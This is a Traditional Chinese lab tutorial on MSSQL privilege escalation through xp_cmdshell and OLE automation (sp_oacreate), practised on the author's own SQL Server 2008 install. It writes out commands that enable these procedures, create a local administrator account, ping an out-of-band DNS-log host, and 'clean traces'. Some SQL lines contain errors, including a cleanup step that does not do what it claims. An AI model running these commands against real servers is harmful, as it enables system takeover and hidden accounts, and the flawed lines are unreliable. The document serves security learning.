1.概念
Mssql和SQL sever的一個產品的不同名稱。都屬於微軟公司旗下。而上述Mssql xp_cmdshell提權也屬於資料庫提權的一種。
主要依賴於sql server自帶的儲存過程。
1.1xp_cmdshell提權
擴充套件儲存過程中xp_cmdshell是一個開放介面,可以讓sql sever呼叫cmd命令。
此過程在 SQL sever2000中預設開啟,2005本身及之後版本預設禁止。若想使用,則先需擁有SA賬戶相應許可權,使用sp_configure將其開啟。
原理:是在xp_cmdshell的擴充套件儲存過程,透過執行命令方式利用作業系統許可權。SA是Microsoft SQLsever的管理員賬號,擁有最高許可權,可以執行擴充套件儲存過程,並獲得返回值。
2005的xp_cmdshell許可權一般為system,2008多數為nt authority\network service
1.2xp_cmdshell提權前提
- 拿到sa許可權的賬戶密碼
- sqlsever服務未降權
2.環境
實驗環境:Windows 7系統、SQL Server 2008版本64位
3.操作
3.1從官網下載SQL sever2008 x64 SQLExprAdva版本
Download Microsoft® SQL Server® 2008 R2 SP2 - Express Edition from Official Microsoft Download Center
SQLExprAdva(包含資料庫引擎、Express Tools、Reporting Services 和全文搜尋),此包包含 SQL Express 的所有元件。此包的下載大小大於“帶有工具”的版本,因為它還同時包含“全文搜尋”和 Reporting Services。
3.2安裝sql sever環境
3.3對所有SQL Server服務使用相同的賬戶,然後選在system賬戶(決定了之後提權是否是system許可權)
3.4初始化,伺服器名稱填寫lcn-PC(同主機名)
3.5配置重啟資料庫
點選資料庫屬性,然後直接確定;之後點選重新啟動資料庫。
3.6新增SA使用者,並修改密碼
SQL Server提權需要獲取SA使用者許可權,即設定SA使用者並設定密碼(123456)。
3.7設定許可權,在SA伺服器角色中修改最高許可權為public和sysadmin。
3.8設定外聯;勾選允許連線到資料庫引擎並啟用登入;
3.9 設定好之後重啟資料庫
3.10測試外聯;開啟SQL server配置管理器的網路設定,檢查TCP/IP協議是否開啟,之後使用navicat進行連線。
成功連線到navicat 16;
4.提權操作
4.1檢視元件
執行操作
SELECT count(*)FROM master.dbo.sysobjects WHERE xtype='x' and name='xp_cmdshell'; #檢視系統例項中是否有xp_cmdshell儲存過程;返回行數>0則有,=0則無
4.2若無元件,則開啟元件
執行指令:
開啟:
EXEC sp_configure 'show advanced options', 1; #將高階選項改為1,即啟用
RECONFIGURE ; #若使用with override覆蓋任何已存在配置,重新配置SQL Server例項應用剛更改的引數
EXEC sp_configure xp_cmdshell', 1;#同1 ,1表示啟用,若關閉則為0,別的不變;
RECONFIGURE;
4.2執行命令,之後執行的命令都是以system許可權執行
4.3之後執行新增使用者命令操作指令,結果成功
exec master..xp_cmdshell 'net user lusang 123456 /add'; #建立使用者lusang並設定密碼為123456;..表示引用master資料庫中的xp_cmdshell儲存過程,省略指定資料庫名稱
exec master..xp_cmdshell 'net localgroup administrators lusang /add';#將使用者lusang加入管理員工作組
檢視已經顯示使用者建立成功;
4.4利用完許可權後,清理痕跡
執行操作將兩項配置還原為0;
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;
EXEC master.dbo.xp_cmdshell 'whoami'; #顯示已經關閉xp_cmdshell介面
5.Ole提權(Object Linking and Embedding)
當xp_cmdshell不可用時,則可以利用sp_oacreate提權;其本身是一個很危險的儲存過程,可以刪除、複製、移動檔案,或者是配合sp_oamethod來寫檔案執行cmd命令。
提權條件:系統管理員使用sp_configure啟用sp_oacreate和sp_oamethod系統儲存過程對OLE自動化過程的訪問。
5.1判斷元件是否存在
執行指令:
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'; #返回0證明不存在,返回1則存在
5.2開啟元件
執行指令
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE; #使用with override覆蓋任何已存在配置,重新配置SQL Server例項應用剛更改的引數
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
5.3執行元件
執行指令:
declare @cmd INT;
EXEC sp_oacreate 'wscript.shell',@cmd output exec sp_oamethod @cmd,'run',null,'ping cqy1eo.ceye.io','0','true';
#透過OLE Automation建立了一個WScriot.Shell物件,之後用run方式執行指定的命令列操作,ping操作,0是視窗樣式引數,表示隱藏命令列視窗,true表示等待命令執行完畢。
5.4之後嘗試建立使用者
daclare @cmd INT;
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'net user test1 123456 /add','0','true';
檢視顯示建立成功;
5.5恢復環境,清理痕跡
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;
6.總結
針對Mssql xp_cmdshell提權的學習實踐,SQL Server2008/2012及以前版本基本都能用,但是2016或更高版本部分不能用,或者SA許可權太低,導致無法提權。
資料庫提權的方式也不止有Mssql xp_cmdshell一種,之後更多的提權方式也是我更應該學習的地方。